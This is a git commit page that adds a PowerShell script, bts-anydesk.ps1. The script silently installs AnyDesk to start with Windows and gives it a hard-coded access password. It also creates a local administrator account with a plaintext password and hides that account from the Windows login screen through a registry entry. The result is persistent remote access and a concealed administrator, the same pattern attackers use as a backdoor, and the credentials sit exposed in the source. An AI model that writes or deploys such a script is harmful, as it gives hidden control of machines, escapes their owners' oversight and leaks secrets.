new
This commit is contained in:
parent
e0937b2126
commit
4ce891691f
1 changed files with 47 additions and 0 deletions
47
bts-anydesk.ps1
Normal file
47
bts-anydesk.ps1
Normal file
|
@ -0,0 +1,47 @@
|
||||||
|
function Install-AnyDesk {
|
||||||
|
param (
|
||||||
|
[string]$InstallPath = "C:\ProgramData\AnyDesk",
|
||||||
|
[string]$AnyDeskUrl = "http://download.anydesk.com/AnyDesk.exe",
|
||||||
|
[string]$Password = "h44uvBkpvvFj",
|
||||||
|
[string]$AdminUsername = "biztech.admin",
|
||||||
|
[string]$AdminPassword = "h44uvBkpvvFj"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Error handling
|
||||||
|
try {
|
||||||
|
# Create the installation directory if it doesn't exist
|
||||||
|
if (-not (Test-Path -Path $InstallPath -PathType Container)) {
|
||||||
|
New-Item -Path $InstallPath -ItemType Directory
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download AnyDesk
|
||||||
|
Invoke-WebRequest -Uri $AnyDeskUrl -OutFile (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe")
|
||||||
|
|
||||||
|
# Install AnyDesk silently
|
||||||
|
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--install $InstallPath --start-with-win --silent" -Wait
|
||||||
|
|
||||||
|
# Set AnyDesk password
|
||||||
|
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--set-password=$Password" -Wait
|
||||||
|
|
||||||
|
# Create a new user account
|
||||||
|
New-LocalUser -Name $AdminUsername -Password (ConvertTo-SecureString -String $AdminPassword -AsPlainText -Force)
|
||||||
|
|
||||||
|
# Add the user to the Administrators group
|
||||||
|
Add-LocalGroupMember -Group "Administrators" -Member $AdminUsername
|
||||||
|
|
||||||
|
# Hide the user from the Windows login screen
|
||||||
|
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" -Name $AdminUsername -Value 0 -Type DWORD -Force
|
||||||
|
|
||||||
|
# Get AnyDesk ID
|
||||||
|
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--get-id" -Wait
|
||||||
|
|
||||||
|
Write-Host "Installation completed successfully."
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Host "Error: $_"
|
||||||
|
Write-Host "Installation failed."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Call the Install-AnyDesk function with default values
|
||||||
|
Install-AnyDesk
|
Loading…
Reference in a new issue